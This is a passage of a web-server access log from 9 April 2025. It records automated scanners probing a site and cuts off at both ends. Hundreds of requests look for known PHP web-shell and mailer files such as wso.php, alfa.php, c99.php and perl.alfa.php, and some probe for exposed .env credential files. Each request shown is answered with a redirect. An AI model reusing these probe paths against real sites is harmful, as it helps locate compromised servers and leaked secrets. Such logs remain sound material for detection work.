AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:12:42:29 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:12:42:30 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:12:42:30 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.100.244 - - [09/Apr/2025:12:42:31 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.142.147.5 - - [09/Apr/2025:13:03:19 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.142.147.5 - - [09/Apr/2025:13:03:45 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.141.152.98 - - [09/Apr/2025:13:25:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5206.0 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 149.40.50.13 - - [09/Apr/2025:13:31:26 -0400] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 149.40.50.13 - - [09/Apr/2025:13:31:27 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 49.51.253.26 - - [09/Apr/2025:13:36:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [09/Apr/2025:13:40:33 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [09/Apr/2025:13:40:56 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 66.212.18.223 - - [09/Apr/2025:13:41:18 -0400] "GET /lib/webuploader/0.1.5/server/preview.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 66.212.18.223 - - [09/Apr/2025:13:41:19 -0400] "GET /Public/static/lib/webuploader/0.1.5/server/preview.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 49.7.227.204 - - [09/Apr/2025:13:50:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.168.149.254 - - [09/Apr/2025:14:03:51 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:51 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:52 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:52 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:52 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:52 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:53 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:53 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:53 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:53 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:53 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:54 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:54 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:54 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:55 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:55 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:55 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:56 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:56 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:57 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:57 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:57 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:57 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:58 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:58 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:58 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:58 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:58 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:59 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:59 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:59 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:59 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:03:59 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:00 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:00 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:00 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:00 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:00 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:01 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:01 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:01 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:02 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:02 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:03 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:03 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:04 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:04 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:05 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:05 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:06 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:06 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:06 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:07 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:08 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:09 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:09 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:10 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:10 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:11 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:11 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:12 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:13 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:14 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:15 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:15 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:16 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:16 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:16 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:16 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:17 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:17 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:17 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:18 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:18 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:19 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:19 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:19 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:20 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:20 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:20 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:21 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:21 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:21 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:21 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:22 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:22 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:22 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:22 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:23 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:23 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:23 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:24 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:24 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:24 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:25 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:25 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:25 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:25 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:26 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:26 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:26 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:27 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:27 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:27 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:27 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:28 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:29 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:29 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:30 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:30 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:31 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:32 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:33 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:33 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:35 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:36 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:37 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:37 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:37 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:38 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:38 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:39 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:39 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:40 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:40 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:41 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:42 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:42 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:42 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:43 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:43 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:44 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:44 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:45 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:45 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:46 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:46 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:47 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:47 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:47 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:48 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:48 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:48 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:49 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:50 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:50 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:50 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:50 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:51 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:51 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:51 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:52 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:53 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:53 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:53 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:54 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:54 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:55 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:56 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:56 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:57 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:57 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:57 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:58 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:04:59 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:00 -0400] "GET /alexusmailer2.0.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:01 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:02 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:03 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:03 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:04 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:05 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:06 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:06 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:07 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:07 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:07 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:09 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:10 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:14 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:15 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:16 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:16 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:18 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:20 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:22 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:23 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:24 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:24 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:27 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:27 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:28 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:28 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:29 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:31 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:31 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:32 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:32 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:33 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:33 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:33 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:34 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:35 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:36 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:36 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:37 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:38 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:39 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:39 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:40 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [09/Apr/2025:14:05:41 -0400] "GET 